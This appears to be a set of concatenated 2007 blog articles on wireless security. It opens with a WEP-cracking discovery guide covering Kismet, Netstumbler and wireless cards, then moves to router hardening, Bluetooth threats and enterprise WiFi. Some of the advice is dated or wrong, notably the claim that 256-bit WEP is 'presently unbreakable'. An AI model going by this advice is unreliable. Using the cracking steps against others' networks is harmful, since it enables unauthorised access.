There is a fairly decent variety of tools out there to help you crack WEP keys. One of them, I mentioned already, is Airsnort as coded by Snax of Shmoo group fame. Well much like any hack, there is typically a logical series of events that need to take place first. What do you think the first step would be? Well, seeing as we want to crack WEP keys, then our first step should be to find ourselves a wireless access point (WAP). To that end some tools which will help you detect WAP’s are as follows. Please bear in mind that not all of them are available in Win32. I will indicate as such where one of them is not.

Kismet

This tool does a combination of things for you and is native to *nix. Kismet will not only detect WiFi networks, it is also capable of sniffing packets from them, and can act as an intrusion detection system as well. All in all, it is a very functional tool and is also one that is still actively maintained. Please note that you can run Kismet on your favorite Win32 operating system, but you will need to do so with cygwin. Though this tool is indeed very functional, some people find it a little confusing to work with. That said, should you wish to install it on your Win32 laptop then please click here for a good explanation of how to do it.

Now is a good time to point out that you will need an external wireless card to do WEP cracking as the onboard wireless card you have is simply not up to the task of detecting all WiFi networks that may be around you. Some of the cards that I suggest you get are the Cisco Aironet a/b/g (this is the one I have) 3Com 3CRPAG175 wireless card, and lastly the Linksys Dual Band wireless card. Please bear in mind that this is not an exhaustive list. All said and done I would go for the Cisco Aironet card as it will support both a/b/g modes.

Netstumbler

Netstumbler is a tool which will allow you to detect WAP’s around you. It is fully functional on Win32, specifically W2K Pro and Win XP. You are once again limited by having to have a wifi card that is supported by Netstumbler. However, this software tool will not detect WAP’s that are configured to not broadcast their SSID. A rather limiting factor, and is the main reason why you would be better off using another tool during your discovery phase.

AirMagnet

The tools shown above are both free tools available to you at no cost other then your time to configure them. This tool is commercial in nature, but does a far better job at finding WAP points, and a whole lot more. AirMagnet is also native to Win32 and can be used with ease, vice some of the problems you may have trying to get the above two noted working. Though some tools can do a good job of both detecting and then collecting WAP point traffic, you are likely best off splitting your tool kit into two. With that in mind I would use either Netstumbler or Airmagnet for WAP detection if you are trying to do so with only free tools.

Figure 1

We can see from the above screenshot that there are four wireless networks detected. These are all within range of my wifi card to detect, and in likelihood these networks belong to those of my neighbors. The topmost network with no SSID is mine as I have it set to not broadcast my SSID. Also of note is the fact that only three out of four networks have some form of WEP (64 or 128 bit) enabled.

Figure 2

With the above noted screenshot in mind we see how easy it would be to use this tool to associate yourself to a wireless network whose WEP you have broken. Once you have the key, it would be trivial then to insert yourself into the network. Anyhow I don’t wish to dwell on this tool as it is indeed a commercial one, and I prefer to show you tools that are free in nature. That said, this tool is extremely powerful and easy to use. If your company can afford to buy it then I for one would certainly counsel you to do so.

Wrapup

Well over the course of this article we have seen that there are a fair amount of tools out there for the discovery phase of wireless networks. All you really need is a decent wifi card and you are good to go. Netstumbler is really a rather nice tool for Win32, while Kismet can be made to work as well on your Windows O/S. These tools are just for the discovery of WAP’s, and not really for the collection and subsequent breaking of WEP. What we shall look at in part two of this article series are tools to collect, and in turn, break WEP. Remember, while discovering WAP’s around you may be fun to do, it is still illegal for you to connect to them. Please bear that in mind. On that note I shall see you in part two!

Wireless Network Defense (Part 2)

2007-10-24T14:02:00.000-07:00

The series continues by discussing how to properly set up a wireless router.

If you missed the first part of this article series please read Wireless Network Defense (Part 1).

In part I of this article series on WiFi security we looked at various initial configuration variables. We shall now continue with the proper setup of your wireless router.
WiFi Security Part II

In Part I of this article series on WiFi security we looked at a couple of settings as seen via the web interface of your wireless router. The proper configuration of your wireless router is crucial to the security of your WiFi network. The absolutely worst thing that you could do is simply plug it in and start surfing the Internet wireless style. You would be wide open to having your network connection hijacked by someone of malicious intent. This is why it is so important to take the time to properly configure your wireless router. Well on that note let’s pick up where we left off in Part I. We can see in the screenshot below that we are now at the “Wireless” section.

Figure 1

In Part I we did the “Setup” portion of this wireless router’s configuration, and now find ourselves at the “Wireless” part. First up is “Wireless Network Mode”. Now unless you have older 802.11b technology in your laptop or desktops, you would be better off to simply change this “Mixed” default setting to “G-Only”. After that is your “Wireless Network Name”. By default this one is called linksys. You should call this something else other then the factory default. Now we have the “Wireless Channel” and this is one value that you can leave at its factory setting. Up next is “Wireless SSID Broadcast”. This is a value that should be toggled to “Disable”. What this does is broadcast the Service Set Identifier (SSID) value (linksys as seen in the above screenshot) to all those within range of your WiFi network. Not a good thing as this is a piece of information that the malicious hacker wants in order to connect to your wireless network. That is why you want to, not only change the SSID name from the factory setting, but also call it something else that would not easily be associated to you. Think of this SSID value as a password. Make it long and difficult. Better yet, also change it on a regular basis.

The meat of it

We can see in the below noted screenshot that this is where we control the encryption that the wireless router will use. By default the router will typically go with WEP as seen in the screenshot. There are several other options that you will see if you toggle that window. These options are pretty much all the same on the SoHo WiFi routers out there on the market today. That said, if you are running an older wireless router make sure that you upgrade to the latest firmware version available! That really is very important as it will afford you the latest advances in security for your WiFi router.

Figure 2

I just got back from a reverse engineering conference and one of the talks was about how to break WEP (which is old news), but more so on how to break WEP considerably faster. This was all done through the use of FPGA’s. Even with the use of these hardware devices to accelerate the cracking of a WEP key, it took some time. That is not to mention the knowledge it takes to implement such a hardware solution, and then in turn program the FPGA itself. To sum up, while there are many calls that WEP is dead, and that WPA is also finished, you really need to put these statements into context. These FPGA’s are indeed capable of cracking 128 bit WEP and also WPA, but it does however take time, and a good deal of effort to do so.

Well with anecdote aside let’s carry on with configuring our wireless router. At this present time you are able to get SoHo routers with 256 bit WEP enabled. That key strength is presently unbreakable and provides a truly excellent method of security. This is why it is very important to upgrade your firmware, and barring an issue with a firmware upgrade, simply buy a new wireless router. They are really quite affordable. Back to the screenshot above for now. You need to enable the highest WEP available to you and then make sure you save those settings. This is also followed by entering a passphrase. This passphrase should once again be treated as a password. In other words, make it long and difficult and lastly, not something easily associated with you ie: if you are a soccer coach don’t name it “soccerdad”. So once you have chosen the highest WEP setting, leave the “Default Transmit Key” to its factory setting, enter a passphrase, and click on the “Generate” button. Once done you are good to save these settings and move on.

Figure 3

Next up, as seen in the screenshot above, is the “Wireless MAC filter” setting. This is something that you want to have enabled. This is much along the same lines as disabling the DHCP service. As a sys admin you may have to configure a couple of laptops for your colleagues who need one. Simply open a cmd.exe and issue an “ipconfig /all” to get the MAC address of the laptop in question. Once you have accounted for all MAC addresses for the laptops you simply enter them here under the “Edit MAC Filter List”. It really is rather painless. What this does is bar anyone else’s laptop or desktop for that matter, from accessing your WiFi network. While this will not stop a determined attacker it will deter the less skilled one.

Figure 4

We are now at the final stage of configuring our wireless router’s security settings. Seen above are a variety of settings I would advise you to leave at their factory defaults. Unless you wish to do some “light reading” on what all of those variables actually do, you would be well advised to leave well enough alone. None of these values will make or break your wireless security steps taken thus far. With that in mind we are done configuring our wireless routers security settings. That wasn’t too difficult now was it? It really isn’t, but for those sys admins who have never done or thought of WiFi security issues, it can be a confusing task.

Wrapup

This article series dealt with the setting up of a SoHo wireless router in either a SoHo or medium enterprise network. This is a task that will always fall upon the sys admin seeing as they are the IT brains of the organization. Knowing how to properly configure the wireless router is key to the success of keeping the WiFi network protected. You should never rush through such a configuration, and if there is something that is confusing to you, then ask for help. Ignorance may be bliss to some, however it could also result in your being fired as well. Not a good thing. Well on that note I will break the article at this point. Till next time!

Wireless Network Defense (Part 1)

2007-10-24T14:00:00.000-07:00

This article discusses the need for security and the relative dangers of a wireless network.

If you would like read the next part in this article series please go to Wireless Network Defense (Part 2).
WiFi Security

I have recently written about the relative ease by which a wireless network can be penetrated if not properly protected. Tools such as Netstumbler, Airsnort, and others are some of the staples of the WiFi hacker. It is these very same tools that will be used to attack your WiFi networks. These tools can be used with varying degrees of success. The deciding factor of whether or not your network will be cracked largely depends on how up to date your defenses are. There is little point in defending your network with a flyswatter if your attacker is wielding a gun. You must stay up to date with technology for your medium, which will be discussed later on in this article.

Home WiFi

There are two really distinct types of WiFi in use today, and each one has their share of challenges when it comes to security. The first and largest implementation of WiFi is that of the home user. Corporations across the world have largely been hesitant to install WiFi due to the well chronicled dangers associated with its use, but many other companies have. That said, armed with both knowledge and a little common sense, WiFi networks, be they home or corporate, can be secured from all but the most skilled of attackers. What we shall now cover is WiFi security for the home user. I will base this on someone using a SoHo WiFi router, however the same principles can be applied to any other type of router for home or small business use.

The first step is to ensure that you have at least logged into the web based interface that all makers of SoHo routers make available to you. It is via this web based interface that the WiFi router can be configured for both security and your home network needs. It will be through this means that we shall implement some in depth defense for a typical home network. With that said, let’s get to it then shall we.

Figure 1

We can see in the above screenshot that I have the default page of the WiFi router up. This is after I logged in via the dialog box that is prompted after I navigated to 192.168.1.1 via my web browser. The first thing we see in the picture above is the “Automatic Configuration – DHCP” drop down menu. If you click on it you will be confronted with several choices beyond the default one. Which do you think is best? In my opinion the best one by far is to go with “Static IP”. Why? This is fairly simple to answer actually, and the answer lies within how the DHCP protocol itself works. Assuming you have DHCP enabled on your WiFi router, then any laptop or WiFi enabled desktop that connects to your WiFi network will automatically be assigned an IP address. This is not really an ideal practice to have. After all, why would you want to simplify an attacker’s life by serving them up an IP once they have breached your WEP key?

You are much better off running Static IP addresses on your home WiFi network. Static IP’s are rarely used in a corporate setting due to the sheer amount of computers on those networks. As a home user you have typically only a handful of computers. Configuring these computers with static IP’s will really only take you a couple of minutes. This may seem tedious but you really need to remember that in depth defense will win the day. Every small step counts. Next up in the screenshot above is the “Router Name”. You can see that the default “WRT54G” is there. Once again there is no need to keep the default router name. Call it something entirely different. Another factor we will be covering shortly will also address how to further secure your WiFi network name.

Other fields seen such as “Host Name”, “Domain Name” can be left blank if you so desire. It will not interfere with the WiFi routers operation, nor will it decrease its security either.

Figure 2

Seen above is another screenshot that simply expands on the default page of the WiFi router once you have accessed it. You can see what the IP address range that the router uses is and its subnet mask. You can just leave those as they are, changing them (Subnet Mask) will only cause you problems. Next is that “DHCP Server” field and we want to make sure that it is disabled. Remember that you really should simply provide static IP addresses to your home network computers. The “Starting IP address” can be left as its default setting. This simply means that all IP addresses assigned to computers should go from 192.168.1.100 and up ie: 192.168.1.100 for Dad’s computer , 192.168.1.101 for Mom’s computer and the such. We then want to have “Maximum Number of DHCP Users” set to 0. After that leave the “Client Lease Time” as its factory settings seen above. Now you will have to manually enter the DNS server's IP addresses here seeing as they won’t be entered for you by the DHCP protocol. You may wish to read up more on the DHCP protocol via the link I supplied two paragraphs above. It really is a pretty cool protocol and shares a symbiotic relationship with BOOTP.

Once you have finished making the above noted changes make sure that you save them! That may sound rather obvious however many people forget to do just that and then wonder why the changes were not implemented. Well, on that note I will break the article series at this point. In part two we will go over the remaining fields in the web interface provided to you by the SoHo WiFi router. Though this may seem pedantic, and rather slow to many of you, it really is most imperative. Many of you system administrators may have considerable experience in configuring wired networks. On the other hand, a wireless network presents a whole new set of variables that you must contend with. Being able to properly administer such a SoHo WiFi router as we are dealing with now is an important skill. Not every corporate network will provide you with a high end WiFi router.

Wrapup

It is only through knowledge that you will be able to properly defend your WiFi network. While WiFi is considered a mature technology, its standards and security measures are still in a continual state of flux. Even with this in mind it is possible to apply sound security practices to your wireless network. First and foremost amongst those practices is the proper setup of your wireless router. Little point in piling on the security if the foundation itself is weak now is there. On that note I shall see you in Part two for further configuration advice. Till then!

Bluetooth: Is it a Security Threat?

2007-10-24T13:54:00.000-07:00

I’ve received a lot of questions from readers recently about security issues related to different types of wireless technology. 802.11 (wi-fi) security has been covered in detail in this and other forums, but you don’t see nearly so much discussion of Bluetooth security. Bluetooth is becoming more and more popular, and it’s time to examine its security implications. Is it secure? Can it be made secure? What are particular security concerns? We’ll take a look at those questions in this article.

You don’t see so much discussion of Bluetooth security. Is that because the short distance range means you don’t have to worry about security? I recently heard someone say that he considered Bluetooth one of the computer industry’s “biggest security bloopers ever” and would never buy a BT product. The only BT devices I use are a set of headphones and my HP GPS receiver that connects to my iPaq Pocket PC.

Bluetooth: What it is and How it Works

I know many experienced computer users who never give a thought to Bluetooth. “Oh, yeah, I think that’s built into my laptop but I never use it” is a common refrain. Initially touted as the technology that would finally free us from the horrors of multiple tangled cables and cords, Bluetooth didn’t catch on as quickly as expected. Until recently, there just weren’t that many useful (with the emphasis on “useful”) Bluetooth devices available – at least, not for desktop computing. Users of handheld computers (such as my iPaq) adopted the technology more quickly, as it allowed us to easily attach portable keyboards, headsets, printers, etc. to our portable devices (which often don’t have a bunch of connection ports like desktops and laptops do). Bluetooth-enabled cell phones allow you to connect a PDA or portable computer to the Internet through them.

Bluetooth was designed to be the basis of the Personal Area Network (PAN) – a way for devices within relatively close proximity to communicate wirelessly with one another. The range for Bluetooth transmissions varies from about 1 meter up to 100 meters, depending on the power class of the device. Thus, the most powerful (Class 1) can communicate over a distance of more than 300 feet, similar to a typical wi-fi network.

Like 802.11b and g, Bluetooth transmits over the 2.4 GHz radio frequency. Its speed is limited to about 1 Mbps (far slower than wi-fi, but still roughly equivalent to a typical broadband Internet connection). It uses LMP (Link Manager Protocol) to handle the connections between devices.
Bluetooth Security Issues

Bluetooth can operate in one of three security models:

* Mode 1 is non security.
* Mode 2 provides security at the service level, after the channel is established.
* Mode 3 provides security at the link level, before the channel is established.

Each Bluetooth device has a unique 48-bit device address. The authentication scheme is challenge-response, using symmetric keys, and encryption is done with a key that can be up to 128 bits (negotiated by the communicating devices, with each device having a maximum key length defined). A 128 bit random link key handles security transactions between two or more devices.

When two Bluetooth devices establish a communications channel, they both create an initialization key. A passkey or Personal Identification Number is input and the inititalization key is created, and the link key is calculated using it. Then the link key is used for authentication.

The first security concern is the passkey or PIN. As with any key, long keys are more secure than short ones. If a hacker is able to discover the passkey, he can calculate possible initiation keys, and then from that, calculate the link key. Making the passkey long will make it much harder to accomplish the first step.

The initial key exchange takes place over an unencrypted link, so it is especially vulnerable. It’s best if this part of the BT device pairing process takes place in a more physically secure location (that is, where there are not likely to be any lurkers with BT devices who could intercept the communications). A hacker could record transmissions sent over the BT frequency and use them to recreate the PIN.

Rather than using the same fixed passkey all the time, it should be changed frequently (how frequently depends on the types of devices and the required security level).

Link keys can be combination keys or unit keys. Best security practice is to use combination keys instead of unit keys. When you use a unit key, you must use the same key for all secure transactions, and the key has to be shared with other trusted devices. This means any trusted device can potentially access traffic with other trusted devices using this key.

It’s possible to use the Bluetooth address to identify a particular device (and associated user) and log those transactions, which can create privacy concerns.
Why Does Bluetooth Security Matter?

Many Bluetooth users only use the technology to connect a wireless headset or similar device to their portable computers, and they may wonder why security is a big deal. Implementing security, even for these types of device pairings, can prevent an unauthorized user from using the headset.

However, another use of Bluetooth is to create a temporary computer network. For example, several people in a meeting room can connect their Bluetooth-enabled laptops to each other to share files during the meeting.

When you use Bluetooth to create a temporary network, it is usually an ad hoc network; that is, computers communicate directly with each other rather than going through a wireless access point (WAP). This means you have no centralized point of security control, as you do with a WAP (for example, you can configure a WAP to use MAC address filtering and other built-in security mechanisms). Thus, security becomes a major concern because you can be exposing important data stored on your laptop to others on the Bluetooth network. Remember that the range for class 1 Bluetooth devices can be more than 300 feet – far enough so that in some locations, the BT equivalent of the wi-fi “war driver” may be able to establish a link with your computer even though not within your sight.

Another special concern is the security of Bluetooth mobile phones. These phones may have information stored on them such as the addresses and phone numbers of contacts, calendar information and other PDA-type data. Hacking into these phones using Bluetooth is called bluesnarfing. Newer mobile phones and software upgrades for older phones can patch this vulnerability.

A related hacking technique is called bluebugging, and it involves accessing the phone’s commands so that the hacker can actually make phone calls, add or delete contact info, or eavesdrop on the phone owner’s conversations. This vulnerability, too, is being addressed by phone manufacturers. Thus, if you own a BT-enabled phone, it’s important to keep the software updated or upgrade to the latest phone models frequently.

Bluetooth devices can also be targets of Denial of Service (DoS) attacks, typically by bombarding the device with requests to the point that it causes the battery to degrade.

Finally, there are “cell phone worms” such as Cabir that can use the Bluetooth technology to propagate to other BT devices. Cabir targets phones that use the Simbian OS.

The relatively short range of most Bluetooth devices helps to ameliorate the risk of most of these security issues. For example, to practice bluesnarfing or bluebugging against a BT phone, the hacker would typically need to be within about 10 meters (a little less than 33 feet) of the target phone.
References

The Bluetooth Special Interest Group (SIG) consists of more than 3000 companies that make BT devices and/or BT-enabled software, including Microsoft, IBM, Intel, Motorola, Nokia, Toshiba and others. For a very detailed discussion of Bluetooth security and how it can be implemented on specific device types, see http://64.233.179.104/search?q=cache:6HqlN2zxgYAJ:www.bluetooth.com/upload/24Security_Paper.PDF+bluetooth+security&hl=en.

Corporate Wireless Network Defense

2007-10-24T13:52:00.002-07:00

How to secure an enterprise wireless network.

I recently detailed how to secure your home wireless network in a step-by-step article series. Proper configuration of your wireless network is key to keeping it safe. In this article we will look at how to secure an enterprise wireless network.
WiFi and the enterprise network

I would like to start this article off by mentioning a key point that many people are not aware of. Wireless networks are actually IEEE 802.11 which differs from what we all know to be Ethernet aka IEEE 802.3. The main differences between the two are at the physical and MAC layers. Beyond that, the two are comparable in terms of standards. That said, wireless technology is considered a mature technology, albeit, a rapidly evolving one. To whit, IEEE 802.11a, 802.11b, 802.11g and so on. These various subsets of 802.11 have led to changes in both speed and throughput on the internal wireless network. This rapid maturation of wireless technology has caught the eye of enterprise networks worldwide, and is now widely thought of as a business enabler. Many companies now think of wireless technology as a “must have”. With this wide scale adoption of wireless technology by big businesses has come the need to secure it.

Same technology, different problems

Wireless networks, be they home user or corporate, run off of the same technology ie: 802.11 specification. Where the two differ is in the implementation of it. Having a small home wireless router in the corporate enterprise simply isn’t realistic. For one, the range of the router is nowhere near powerful enough to reach the sometimes disparate corners of a large enterprise class environment. A company can occupy an entire building or more at times. With this in mind, we already have an extra layer of complexity as the home user only has one wireless router to configure and maintain. In the aforementioned enterprise environment you can have quite a few to afford the enterprise wireless access throughout their office space.
How to manage both wired and wireless?

I have heard some talk about companies going completely wireless but as of yet have not heard of any one company doing so. The reality of it is that most enterprise class network have both wireless and wired networks to contend with. Having to manage the both of them is where the first cracks can appear in a networks defense. Deploying a wireless network into an existing wired one can be a daunting task. It has been said before that complexity and security just don’t go together, and it still rings true today. This is why it is very important to have some type of central management by which you can monitor and configure your mixed network. Though I prefer to recommend a variety of vendors for an all in one mixed network solution, the fact remains that Cisco does a very good job of it. That, plus the likelihood that most people already use their gear for their infrastructure needs.
The basics

The fundamentals of wireless security for the SoHo user are what I covered earlier in my two articles. This detailed how to properly configure your wireless router, however it also applies to the enterprise environment as well. As a system administrator for an enterprise class network you need to ensure those basic steps are implemented. There are other methods of hardening your wireless network though. Almost everyone has now heard of WEP and what it can do for you. The problem is that WEP is no longer really a viable means of encrypting traffic. One of the better known methods that has since taken over from WEP in the enterprise environment is known as 802.1x. This is a far more secure and robust means of authenticating access to corporate wireless network. More often then not RADIUS is used in conjunction with 802.1x.
What about TKIP?

Not a lot of people have heard of TKIP and what it can do to help further harden your wireless network. Temporal Key Integrity Protocol (TKIP) is often seen as an evolution borne from the weakness of WEP. The relative weakness of WEP was covered in a couple of earlier articles by me. What TKIP brings to the table in terms of enhanced security are new encryption algorithms and further to this is the added plus of always changing the encryption key itself. This makes it exponentially harder for a malicious hacker to get the right one. Further to these measures is that the encryption key itself is encrypted. In essence, even if a malicious hacker can capture the key, the key itself is also encrypted. Furthermore, if the key is itself broken, the odds are rather high that the key would have already changed again. All in all, a very robust solution for any enterprise wireless network. If you are thinking, “this is the solution for me!”, please realize there are some drawbacks to implementing it. Not all wireless routers and wireless cards support TKIP. Ensure that before you contemplate upgrading to TKIP that your present hardware supports it.
How about a mix and match?

On top of all the common sense configuration changes to your wireless router, can you also layer on various defenses? Well, in short, yes you can. You could certainly use WEP, TKIP, and the use of Virtual Private Networks (VPN) on your enterprise wireless network. Were you to incorporate all of these measures, then you would have one very secure wireless network. There is however a drawback to this, and that is that the usage of VPN’s can cause network problems. Using VPN’s extensively can and will cause performance issues on your network. These performance bottlenecks can be overcome through the use of VPN concentrators. This is but one solution to a problem that a security measure introduced on a network can bring.
It all comes down to planning

We have seen in the above paragraphs that there is a wide variety of security concerns and solutions for the enterprise wireless network. Only a brief few were touched as there are literally books that have been written about hardening wireless networks. Many of the security concerns which face the wired network (Ethernet, if you remember, is officially called IEEE 802.3) are also faced by the wireless one (Wireless is also officially designated as IEEE 802.11). Wireless networks themselves are not immune to the effects of a DDoS or DoS attack to name but one danger normally associated with wired networks.

Should you be thinking of integrating a wireless component to your existing wired enterprise network, you would be well advised to sit down first and plan things out. Take a look at your existing infrastructure, and what that equipment has in terms of wireless compatibility. I would always advise to try and stay with the same equipment vendor for nothing else but to help smooth integration. You should also definitely look for some type of centralized monitoring software. This will allow you to quickly and easily monitor all facets of your mixed network in one program.

The goal of this article was to help the enterprise class system administrator to make some informed decisions as it impacts their wireless network. Taking the time to study your existing hybrid network for possible performance or security issues is time well spent. Also remember that there is a wealth of products out there today to help you in your goal of securing your mixed environment network. As always I welcome your feedback and commentary. On that note, till next time.

Wireless Network Security For The Home

2007-10-24T13:52:00.001-07:00

According to a December 2004 study, 60 to 70 percent of all wireless networks are insecure. Although there is lots of information on securing wireless networks, most of this information focuses on corporate networks. In this article, I will attempt to help people secure their home wireless networks.

If you were to do a Google search on the phrase “Wireless Network Security”, you would get thousands of links to articles explaining all sorts of elaborate ways to secure your wireless network. One thing that always bothered me about these articles though is that the vast majority of them focus their attention on corporations. The reason why this bothers me is because Wi-Fi is primarily a consumer technology. I’ll admit that I have been as guilty as anyone of writing wireless security articles that focus on corporations. However, in this article, I want to fill a badly neglected void and talk about wireless security for the home.

Why is Wireless Security Important in the Home?

Wireless security is important in the home for the same reasons why it is important in corporations. If you have an unsecured wireless network in your home, anyone in close proximity can spy on your online activities. Depending on how your home network is configured, someone could even gain full access to your computer’s hard drive over an unsecured wireless network.

Even if no one is around that wants to spy on you or perform some malicious action against you, your neighbors could sponge off of your Internet connection. This would not only deprive you of bandwidth that you are paying for, but if your neighbor conducted some illegal activity while online, it could be traced back to your network.

Right now you might be wondering what the odds are of any of these things ever happening. If you have an unsecured wireless connection, the odds of it being exploited are pretty good.

About four years ago, I was asked by one of the companies that I was writing for at the time to do an experiment to see how many wireless networks I could detect and how many of those networks were insecure. To perform the experiment, I loaded a copy of Net Stumbler onto my laptop and had my wife drive me around while I tried to detect wireless networks. During my experiment I managed to detect seven networks and none of them were secure.

Seven wireless networks certainly aren’t many, but there are several things to keep in mind. First, I live in the middle of nowhere in a rural part of South Carolina, not in a densely populated place like New York City. Second, I was using a stock Wi-Fi card without any type of external antenna. Third, I was attempting to detect wireless networks from a moving vehicle, using a Wi-Fi card that had a relatively short range. Fourth, this was four years ago.

If I detected that many wireless networks, four years ago, in the middle of nowhere, under conditions that would give me poor reception, can you imagine how many wireless networks are in use today? Wireless networks are everywhere, and the vast majority of them are insecure. In fact, as of December 2004, an estimated 60 to 70 percent of all wireless networks did not use any type of encryption. My point is that wireless networks are everywhere and the majority of them are insecure, and the bad guys know this.

Hackers routinely engage in a practice called war walking. War walking is similar to my little experiment. It’s basically a trip on foot, by car, by airplane, or what ever to try to locate wireless networks.

At first it might not seem like a big deal if a hacker knows that you have a wireless network. After all, most of your neighbors probably have wireless networks too. Besides, wireless networks have a relatively short range and it would be easy to spot someone sitting in front of your house with a laptop. The problem is that although your wireless access point may have a short range, it is possible to make a homemade antenna that can receive your network’s signal from many miles away. In fact, if a direct line of sight is available, it is possible to make a Wi-Fi antenna out of a Pringles can that can intercept a Wi-Fi signal from up to ten miles away. Hackers no longer need to sit in a car in front of your house to hack your wireless network.
Securing Your Wireless Network

Now that I have explained why it is so important to secure your wireless network, I want to spend the rest of this article explaining the steps that you should take in doing so. Unfortunately, I can’t give you the exact step-by-step procedure because every manufacturer of wireless hardware uses a different interface for configuring the device. Even so, the things that I will be discussing are nearly universal and will be valid for almost all Wi-Fi networks.

Use Encryption

By far the most important thing that you can do to secure your wireless network is to use encryption. Almost every wireless access point has some type of encryption mechanism built in. Most older access points offer WEP encryption, and newer access points offer a choice between WEP and WPA.

You are much better off using WPA than WEP. The WEP encryption method is flawed because if someone is able to capture enough data, it is possible to decipher WEP. Even so, it takes most home users weeks to do enough Web surfing to produce enough traffic for WEP to be compromised.

My advice would be that if your wireless hardware doesn’t support WPA, then you should upgrade to hardware that does offer WPA support. If an upgrade just isn’t in the budget, then you should go ahead and turn on WEP encryption. Sure, WEP is flawed, but flawed encryption is better than no encryption. Besides, there are enough people with insecure wireless networks that most of the time if a hacker sees that your network is encrypted with WEP, they will move on to an easier target than spending weeks trying to capture enough data to decrypt WEP.

The only other drawback to using encryption on your access point is that it can be a little complicated to set up if you aren’t the technical type. If you can’t figure out how to set up wireless encryption, then invite the neighborhood nerd over for dinner and have them enable encryption. Do what ever you have to do, but get encryption enabled.

Don’t Announce Yourself

Wi-Fi access points use a mechanism called identifier broadcasting to announce themselves. The problem with identifier broadcasting is that you already know that you have a wireless network, so there is no need in announcing it to you. The only people that the broadcast really benefits is hackers. Not all wireless access points allow you to disable identifier broadcasting, but if yours does allow you to disable it, then you should.

While you are at it, you should also change your SSID or ESSID. The SSID or ESSID is basically just a name that’s assigned to the wireless access point. The reason why it is important to change the SSID or ESSID is because you don’t want your access point to have an out of the box name. Think about it for a minute. Wireless hardware manufacturers assign the same SSID or ESSID to every access point that rolls off of the assembly line. Even if you aren’t broadcasting your access point’s identification to the world, it isn’t that hard to figure out that you have an access point in your house. If the access point isn’t broadcasting an SSID or an ESSID then the first thing that a hacker will usually try is to attach to the access point by using common default SSID or ESSID names.

It is also important that you change your access point’s default password for the same reason. You don’t want a hacker to be able to take control of your access point just because it still has the default password assigned to it. If a hacker were to take control of the access point, they could actually lock you out of your own network.

Limit Access To Your Access Point

Another thing that you can do to help secure your wireless access point is to limit which computers are allowed to use it. Every network interface card (including wireless cards) has what’s known as a Media Access Control (MAC) address associated with it. Most wireless access points contain a mechanism that you can use to tell the access point that only network cards with these specific MAC addresses are allowed to use the network.

You can determine a machine’s MAC address by opening a command prompt window on the workstation and entering the command IPCONFIG /ALL. This command is designed to display the machine’s TCP/IP configuration. However, it will list the machine’s MAC address under the Physical Address heading.

Limiting access to the access point by MAC address isn’t a perfect security mechanism. A hacker can use a protocol analyzer to determine which MAC addresses are in use on your network. They can then spoof a valid address and bypass your address filter. Even so, it is important to use address filtering. The reason is because none of the wireless security mechanisms that I’ve shown you are perfect, but all of the mechanisms that I’ve shown you provide relatively good security.
Conclusion

In this article I have explained that unless you take some basic security precautions, your wireless network is very susceptible to intrusion. A hacker can use an insecure wireless network to spy on you, steal files off of your hard drive, plant files onto your hard drive, or even to steal Internet access. I then went on to discuss several security mechanisms that you could implement to help secure your home network.

Have Wireless Networks Surpassed the Security of Wired Networks?

2007-10-24T13:51:00.000-07:00

Wireless networks have long been known for being insecure. However, there has been so much emphasis on wireless network security, that in some ways, wireless network security is now better than the security used for wired networks. In this article, I will explain why this is the case and how to apply some of the wireless security techniques to your wired network.

It often seems to me that the term wireless network has become almost synonymous with the term insecure. Ever since wireless networks first started becoming popular, the Internet has been flooded with stories of wireless security nightmares. Rogue access points, parking lot spies, and Pringles can antennas have all been headaches that administrators of wireless networks have had to deal with. To make a statement that wireless networks are more secure than wired networks seems absolutely ludicrous, but is it true?

Let me start off by saying that I don’t believe that wireless networks are more secure than wired networks as a whole. However, there are certain aspects of wireless network security that are superior to what’s traditionally used on wired networks. There are two main reasons for this.

The first reason why some wireless security mechanisms are better than those used on wired networks has to do with the image problem that has plagued wireless networks since the beginning. Wireless networks have always had a reputation for being insecure. Even so, there has been an unprecedented demand for wireless hardware. Being that wireless networks have become so popular, dozens of companies have invested big bucks into developing products and architectures designed to make wireless networks secure. Of course there are plenty of security products for wired networks as well, but the security solutions for wireless networks seem to me a little more unique and imaginative.

The other reason why wireless networks tend to be more secure than wired networks in some regards is because of the overall philosophy behind the network. For example, imagine that you created a small network with a Windows 2003 Server and five workstations running Windows XP. The machines are all brand new and no one has touched any of the hardware except for you. You have installed all of the operating systems, applications, and security patches. The PCs have never been exposed to end users or to the Internet. The question that I am asking you is do you trust the workstations on your network? Of course you do.

Now, let’s turn the situation around a little bit. Let’s assume that everything is the same as before, but the server and the PCs are all a part of a wireless network rather than being wired to a switch. Assuming that your wireless access point is running an out of the box configuration, do you trust the PCs on your network? Hopefully, you said no because with a generic wireless network configuration, you have no way of guaranteeing that the PCs connecting to your wireless network are really your PCs. Sure, your PCs are connected to the wireless network, but your neighbors can also connect to your network as well.

The point that I am trying to make is that the overall philosophy behind wired networks vs. wireless networks is trust. On a wired network, the hardware is under the direct control of the network administrator, and therefore, the overall attitude toward the workstations tends to be one of trust. On a wireless network, it is a well known fact that someone could sit in the parking lot with a laptop and access your wireless network. Therefore, the general attitude toward wireless workstations tends to be one of extreme distrust.

This difference in attitude often causes the same administrators who go to extreme lengths at securing a wireless network, to almost neglect wired network security. Let me ask you another question though. Are there any unused network jacks or unused switch ports in your office? If someone was able to sneak into the office and plug a laptop into one of these unused jacks, would you still have the same level of trust in the hardware on your wired network?

One of the most basic features included in most wireless access points is a list of workstations that are allowed to access the wireless network. This feature allows you to enter the MAC address of each wireless NIC that your company owns. That way, if someone attempts to connect to your network, the access point checks to see if the NICs MAC address is allowed. If not, then the connection is denied.

This technology isn’t absolutely perfect though. There are still a couple of ways that a hacker could breach the wireless network. For example, some NICs allow you to set the MAC address to an address of your choice. A hacker could spy on the network, get the address of a valid NIC and then assign that address to their own NIC. It is also possible that a hacker could steal one of your NICs and use it to gain access to the network.

At the same time though, you have to remember that a media access control filter is not your only line of defense. It is an excellent starting point though. The problem is that most wired networks do not have such a feature in place. Administrators assume that every PC on the wired network has a right to be there, so there’s no reason to implement a media access control filter.

OK, I’ll admit that the chances of someone just walking in off the street and plugging a laptop into an empty network jack are pretty slim. Think about this though. Rogue access points have been a huge problem for corporations. There have been countless situations in which a company doesn’t want a wireless network, but an employee does, so they set up their own access point. There have also been cases in which an employee is mad because they weren’t granted access to the wireless access point, so they set up their own.

